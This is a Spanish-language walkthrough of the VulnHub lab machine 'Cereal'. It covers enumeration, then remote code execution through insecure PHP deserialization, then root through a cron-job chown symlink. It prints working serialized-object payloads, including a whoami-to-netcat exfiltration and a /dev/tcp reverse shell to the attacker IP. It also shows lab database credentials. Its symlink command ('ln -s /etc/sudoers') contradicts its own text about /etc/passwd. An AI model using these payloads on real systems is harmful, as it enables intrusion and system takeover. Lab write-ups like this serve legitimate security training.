VulnHub - Cereal | (Difficulty Medium) - Linux
Writeup de la máquina de dificultad media Cereal de la página https://vulnhub.com
Useful Skills
- FTP Enumeration
- SMB Enumeration
- Web Enumeration
- Subdomain Enumeration
- Information Lekeage (index.php.bak)
- PHP Code Analysis
- Abusing PHP Insecure Deserialization - RCE
- Cron Job Enumeration (pspy)
- Abusing Cron Job /usr/share/scripts/chown.sh (symlink passwd)
Enumeration
TCP Scan
1
2
rustscan -a 192.168.2.140 --ulimit 5000 -g
192.168.2.140 -> [21,22,80,139,445,3306,11111,22223,22222,33333,33334,44441,44444,55551,55555]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
nmap -p21,80,139,445,3306,22,11111,22222,22223,33333,33334,44441,44444,55551,55555 -sCV 192.168.2.140 -oN tcpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 15:03 CET
Nmap scan report for 192.168.2.140
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 6 Apr 12 2021 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.2.133
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 00:24:2b:ae:41:ba:ac:52:d1:5d:4f:ad:00:ce:39:67 (RSA)
| 256 1a:e3:c7:37:52:2e:dc:dd:62:61:03:27:55:1a:86:6f (ECDSA)
|_ 256 24:fd:e7:80:89:c5:57:fd:f3:e5:c9:2f:01:e1:6b:30 (ED25519)
80/tcp open http Apache httpd 2.4.37 (())
|_http-title: Apache HTTP Server Test Page powered by: Rocky Linux
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 ()
139/tcp open netbios-ssn?
445/tcp open microsoft-ds?
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '192.168.2.133' is not allowed to connect to this MariaDB server
11111/tcp open vce?
22222/tcp open easyengine?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
22223/tcp open unknown
33333/tcp open dgi-serv?
33334/tcp open speedtrace?
44441/tcp open http Apache httpd 2.4.37 (())
|_http-server-header: Apache/2.4.37 ()
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
44444/tcp open cognex-dataman?
55551/tcp open unknown
55555/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=2/4%Time=67A21E42%P=x86_64-pc-linux-gnu%r(
SF:NULL,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.2\.133'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
MAC Address: 00:0C:29:60:7E:8D (VMware)
Service Info: OS: Unix
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.58 seconds
UDP Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -sU --top-ports 1500 --min-rate 5000 -n -Pn 192.168.2.140 -oN udpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 15:10 CET
Nmap scan report for 192.168.2.140
Host is up (0.00024s latency).
Not shown: 1494 open|filtered udp ports (no-response)
PORT STATE SERVICE
17533/udp closed unknown
26420/udp closed unknown
28664/udp closed unknown
29981/udp closed unknown
40915/udp closed unknown
55043/udp closed unknown
MAC Address: 00:0C:29:60:7E:8D (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds
FTP Enumeration
La versión de FTP es vsftpd 3.0.3, busco posibles vulnerabilidades o exploits pero no encuentro nada interesante, por otro lado nmap ha reportado anonymous login, me logueo como usuario anonymous
1
2
3
4
5
6
7
8
9
10
ftp 192.168.2.140
Connected to 192.168.2.140.
220 (vsFTPd 3.0.3)
Name (192.168.2.140:ju4ncaa): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Listo los directorios compartidos, observo uno llamado pub, accedo al mismo pero no hay ningún contenido.
1
2
3
4
5
ftp> dir
229 Entering Extended Passive Mode (|||19632|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 6 Apr 12 2021 pub
226 Directory send OK.
1
2
3
4
5
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||49162|)
150 Here comes the directory listing.
226 Directory send OK.
Intento subir un archivo al directorio pub, por ejemplo el escaneo TCP realizado con nmap, pero no se me permite, por lo que de momento el vector de ataque por FTP concluye
1
2
3
4
ftp> put ../scan/tcpScan
local: ../scan/tcpScan remote: ../scan/tcpScan
229 Entering Extended Passive Mode (|||53429|)
550 Permission denied.
SMB Enumeration
El puerto 445 SMB se encuentra abierto, intento listar con un null session recursos compartidos a nivel de red, tanto con smbclient como con smbmap pero no se me permite, por lo que de momento el vector de ataque por SMB concluye
1
2
smbclient -L 192.168.2.140 -N
Protocol negotiation (with timeout 20000 ms) timed out against server 192.168.2.140
1
2
smbmap -H 192.168.2.140 -u 'null'
[!] Authentication error on 192.168.2.140
HTTP Enumeration
En el puerto 80/TCP Whatweb no reporta nada interesante
1
2
whatweb http://192.168.2.140/
http://192.168.2.140/ [403 Forbidden] Apache[2.4.37], Country[RESERVED][ZZ], Email[webmaster@example.com], HTML5, HTTPServer[Apache/2.4.37 ()], IP[192.168.2.140], PoweredBy[:], Title[Apache HTTP Server Test Page powered by: Rocky Linux]
Accediendo al servicio web en http://192.168.2.140 puedo observar la página por defecto de Apache
Utilizo gobuster para realizar una enumeración exhaustiva de directorios
1
2
3
4
5
6
7
8
gobuster dir -u http://192.168.2.140/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100 -q
/.htpasswd (Status: 403) [Size: 199]
/.hta (Status: 403) [Size: 199]
/.htaccess (Status: 403) [Size: 199]
/admin (Status: 301) [Size: 235] [--> http://192.168.2.140/admin/]
/blog (Status: 301) [Size: 234] [--> http://192.168.2.140/blog/]
/cgi-bin/ (Status: 403) [Size: 199]
/phpinfo.php (Status: 200) [Size: 76260]
En el escaneo obtengo directorios y archivos interesantes, phpinfo.php, /blog y /admin son los recursos en los que pongo el foco, accedo a phpinfo.php y veo que se trata del archivo que permite mostrar información detallada sobre la configuración PHP en un servidor.
Accedo a http://192.168.2.140/blog y veo que se trata de un Wordpress, el cual no se termina de ver bien ya que todos los recursos apuntan a cereal.ctf
Hay que añadir el dominio cereal.ctf en el archivo de configuración /etc/hosts para que se pueda resolver el nombre de dominio a la dirección IP 192.168.2.140
Recargo de nuevo y observo una página Wordpress con una configuración bastante por defecto, tambien consigo ver la versión del mismo, se trata de un Wordpress 6.7.1
1
2
whatweb http://192.168.2.140/blog/
http://192.168.2.140/blog/ [200 OK] Apache[2.4.37], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.37 ()], IP[192.168.2.140], MetaGenerator[WordPress 6.7.1], PHP[7.2.24], PoweredBy[--], Script, Title[Cereal], UncommonHeaders[link], WordPress[6.7.1], X-Powered-By[PHP/7.2.24]
Accedo a http://cereal.ctf/admin y observo un panel de login, en el cual trato de realizar diferentes inyecciones SQL pero no obtengo resultado, también podría tratar de realizar fuerza bruta contra el panel de autenticación, pero de momento esa opción la descarto.
En el puerto 44441/tcp Whatweb no reporta nada interesante
1
2
whatweb http://192.168.2.140:44441/
http://192.168.2.140:44441/ [200 OK] Apache[2.4.37], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.37 ()], IP[192.168.2.140]
Accedo a http://cereal.ctf:44441 y veo un texto que dice Coming soon…
Utilizo wfuzz para realizar enumeracion de subdominios, consiguiendo encontrar el subdominio secure.cereal.ctf
1
2
3
4
5
wfuzz -c --hw=2 --hc=404,403 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cereal.ctf:44441 -H "Host: FUZZ.cereal.ctf"
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000036: 200 49 L 140 W 1538 Ch "secure"
Hay que añadir el dominio secure.cereal.ctf en el archivo de configuración /etc/hosts para que se pueda resolver el nombre de dominio a la dirección IP 192.168.2.140
Accedo a http://secure.cereal.ctf y observo una página Ping Test, supongo que como el lenguaje de programación utilizado es PHP, a través de alguna función como system(), shell_exec(), passthru() se estará ejecutando el comando ping
Me pongo en escucha de trazas ICMP con tcpdump
1
2
tcpdump -i ens33 -nv icmp
tcpdump: listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Envío un ping hacia mi direccion IP 192.168.2.133, puediendo observar que recibo los paquetes ICMP, lo cual me hace validar al 100% que se está ejecutando el comando ping. Puede que el código PHP esté realizando algo como system("/usr/bin/ping -c 3" . $_POST['ip_address']);
por lo que pruebo a realizar diferentes inyecciones de comandos, pero no consigo nada
1
2
3
4
5
6
7
8
9
10
11
12
13
14
tcpdump -i ens33 -nv icmp
tcpdump: listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
16:39:24.421616 IP (tos 0x0, ttl 64, id 9471, offset 0, flags [DF], proto ICMP (1), length 84)
192.168.2.140 > 192.168.2.133: ICMP echo request, id 2450, seq 1, length 64
16:39:24.421629 IP (tos 0x0, ttl 64, id 9768, offset 0, flags [none], proto ICMP (1), length 84)
192.168.2.133 > 192.168.2.140: ICMP echo reply, id 2450, seq 1, length 64
16:39:25.472317 IP (tos 0x0, ttl 64, id 9851, offset 0, flags [DF], proto ICMP (1), length 84)
192.168.2.140 > 192.168.2.133: ICMP echo request, id 2450, seq 2, length 64
16:39:25.472340 IP (tos 0x0, ttl 64, id 9952, offset 0, flags [none], proto ICMP (1), length 84)
192.168.2.133 > 192.168.2.140: ICMP echo reply, id 2450, seq 2, length 64
16:39:26.496203 IP (tos 0x0, ttl 64, id 10360, offset 0, flags [DF], proto ICMP (1), length 84)
192.168.2.140 > 192.168.2.133: ICMP echo request, id 2450, seq 3, length 64
16:39:26.496226 IP (tos 0x0, ttl 64, id 10249, offset 0, flags [none], proto ICMP (1), length 84)
192.168.2.133 > 192.168.2.140: ICMP echo reply, id 2450, seq 3, length 64
Visualizo el codigo fuente y observo que se está cargando un archivo php.js
En el archivo php.js veo que se esta utilizando la función serialize, por lo que ya se me viene a la cabeza un posible ataque de deserialización
Intercepto la petición ping con BurpSuite, puedo observar que la data se está enviando serializada a través de un objeto PHP llamado pingTest
Ya que he podido observar que se esta enviando un objeto serializado, voy a realizar enumeración de directorios ya que por detrás se debe de estar aplicando un proceso de deserialización para que el servidor interprete la información
1
2
3
4
5
gobuster dir -u http://secure.cereal.ctf:44441 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -q
/php (Status: 200) [Size: 3699]
/style (Status: 200) [Size: 3118]
/index (Status: 200) [Size: 1538]
/back_en (Status: 301) [Size: 247] [--> http://secure.cereal.ctf:44441/back_en/]
Encuentro un directorio /php y /back_en, buscare archivos con extensión php y php.bak en ambos, consigo obtener un index.php.bak en el directorio /back_en/
1
2
gobuster dir -u http://secure.cereal.ctf:44441/back_en/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -x php,php.bak -q
/index.php.bak (Status: 200) [Size: 1814]
Accedo a http://secure.cereal.ctf:44441/back_en/index.php.bak donde consigo observar una página backup de la principal donde se encuentra el Ping Test
Inspecciono el código fuente y me doy cuenta que soy capaz de ver código PHP, donde se está empleando la función unserialize() de parte del servidor
Vulnerability analysis
PHP Deserialization Attack
Ya que tengo acceso al codigo PHP lo analizaré brevemente para entender correctamente que esta pasando, lo primero que hay es una clase llamada pingTest la cual también podia observar en BurpSuite, la clase contiene los siguientes valores
- ipAddress: Tiene como valor 127.0.0.1, lo que es igual a localhost, por eso cada que se recarga se realiza un ping hacia si mismo en la página web
- isValid: Tiene como valor False y se emplea para validar si se introduce una dirección IP válida
- output: Supongo que es donde se incluye el output del comando realizado a nivel de sistema
Dentro de la clase existe una función validate(), la cual comprueba si la dirección IP es válida con this->isValid
Si la dirección IP es válida se pasa a la función ping la cual utiliza shell_exec para ejecutar 3 pings hacia la dirección indicada
Lo importante reside en esta parte del código donde se está validando si a través de POST existe el parámetro obj, si es así, $pingTest que es el input del usuario se deserializa y se urldecodea sin nigun tipo de validación en el input del usuario.
Exploitation
Abusing PHP Insecure Deserialization Attack
Puedo utilizar la clase pingTest del código PHP para realizar el proceso inverso, serializar un objeto malicioso de mi parte y enviarlo al servidor y así comprobar si se ejecuta, lo unico que hago es escapar con ; la ip 127.0.0.1 indicada por defecto en el index.php del servidor y tornar el valor isValid a True para que tome el input como una IP válida. Comenzaré ejecutando el comando whoami y enviandolo por netcat a mi dirección ip por el puerto 4444
1
2
3
4
5
6
7
8
9
<?php
class pingTest {
public $ipAddress = ";bash -c '/usr/bin/whoami | nc 192.168.2.133 4444'";
public $isValid = True;
public $output = "";
}
echo urlencode(serialize(new pingTest));
?>
1
2
php pwned.php;echo
O%3A8%3A%22pingTest%22%3A3%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A50%3A%22%3Bbash+-c+%27%2Fusr%2Fbin%2Fwhoami+%7C+nc+192.168.2.133+4444%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3Bs%3A6%3A%22output%22%3Bs%3A0%3A%22%22%3B%7D
Inicio un listener con netcat por el puerto 4444 para recibir la conexión
1
2
nc -lvnp 4444
listening on [any] 4444 ...
En la petición de ping interceptada con BurpSuite remplazo obj con mi objeto serializado y le doy a Send
Recibo el comando ejecutado /usr/bin/whoami, viendo que ganaré acceso al sistema como el usuario apache
1
2
3
4
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.133] from (UNKNOWN) [192.168.2.140] 50824
apache
Modifico el código PHP malicioso en vez ejecutar whoami introduzco una reverse shell hacia mi dirección IP de atacante, de resto ejecuto y serializo de nuevo el objeto malicioso
1
2
3
4
5
6
7
8
9
<?php
class pingTest {
public $ipAddress = ";bash -c 'bash -i >& /dev/tcp/192.168.2.133/4444 0>&1'";
public $isValid = True;
public $output = "";
}
echo urlencode(serialize(new pingTest));
?>
1
2
php pwned.php;echo
O%3A8%3A%22pingTest%22%3A3%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A54%3A%22%3Bbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.2.133%2F4444+0%3E%261%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3Bs%3A6%3A%22output%22%3Bs%3A0%3A%22%22%3B%7D
Inicio un listener con netcat por el puerto 4444 para recibir la reverse shell
1
2
nc -lvnp 4444
listening on [any] 4444 ...
En la petición de BurpSuite remplazo obj con mi objeto serializado que contiene la reverse shell y le doy a Send, consiguiendo así ganar acceso al sistema como el usuario apache
1
2
3
4
5
6
7
8
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.133] from (UNKNOWN) [192.168.2.140] 50826
bash: cannot set terminal process group (1004): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$ whoami
whoami
apache
Post exploitation
Privilege escalation
Obtengo acceso al sistema como el usuario apache, este es un usuario con bajo privilegios por lo que debo de buscar alguna manera de pivotar hacia otro usuario. Comenzaré visualizando cuales son los usuarios que existen en el sistema.
1
2
3
bash-4.4$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
rocky:x:1000:1000::/home/rocky:/bin/bash
En /var/www/html/blog dentro del archivo wp-config.php observo una credenciales de acceso la base de datos, son válidas y consigo la contraseña hasheada del usuario de wordpress cereal, pero no es posible crackearla.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bash-4.4$ cat wp-config.php
<?php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'newuser' );
/** MySQL database username */
define( 'DB_USER', 'newuser' );
/** MySQL database password */
define( 'DB_PASSWORD', 'VerySecureRandomPassword!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
Utilizo pspy para monitorerar procesos que se estén ejecutando en el sistema sin necesidad de ser usuario root
1
2
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
bash-4.4$ wget http://192.168.2.133/pspy
--2025-02-04 17:35:10-- http://192.168.2.133/pspy
Connecting to 192.168.2.133:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy'
1
bash-4.4$ chmod +x pspy
Con pspy observo que el usuario root ejecuta una tarea, la cual es /usr/share/scripts/chown.sh, algo que es bastante sospechoso
1
2025/02/04 17:40:02 CMD: UID=0 PID=23382 | /bin/bash /usr/share/scripts/chown.sh
Visualizo el script chown.sh y observo que se está asignando con chown propietario rocky y grupo apache a todos los archivo de la carpeta public_html alojada en /home/rocky
1
2
bash-4.4$ cat /usr/share/scripts/chown.sh
chown rocky:apache /home/rocky/public_html/*
Puedo crear un enlace simbólico que apunte a /etc/passwd, esto provocará que cuando root ejecute la tarea chown.sh se asigne propietario rocky y grupo apache al archivo passwd
1
ln -s /etc/sudoers sudoers
Tras esperar un rato se ejecuta el script chown.sh y se otorga propietario rocky y grupo apache al fichero de configuración passwd, donde apache que es el grupo y lo que me interesa tiene permisos de escritura
1
2
bash-4.4$ ls -l /etc/passwd
-rwxrwxr-x. 1 rocky apache 1549 May 29 2021 /etc/passwd
Utilizo openssl para generar un contraseña, la cual será 1234
1
2
3
4
bash-4.4$ openssl passwd
Password:
Verifying - Password:
mHzPV7z40vgRk
Reemplazo la contraseña en el archivo /etc/passwd y migro al usuario root con la contraseña 1234, pudiendo así escalar mis privilegios en el sistema
1
2
3
4
bash-4.4$ su root
Password:
[root@cereal public_html]# whoami
root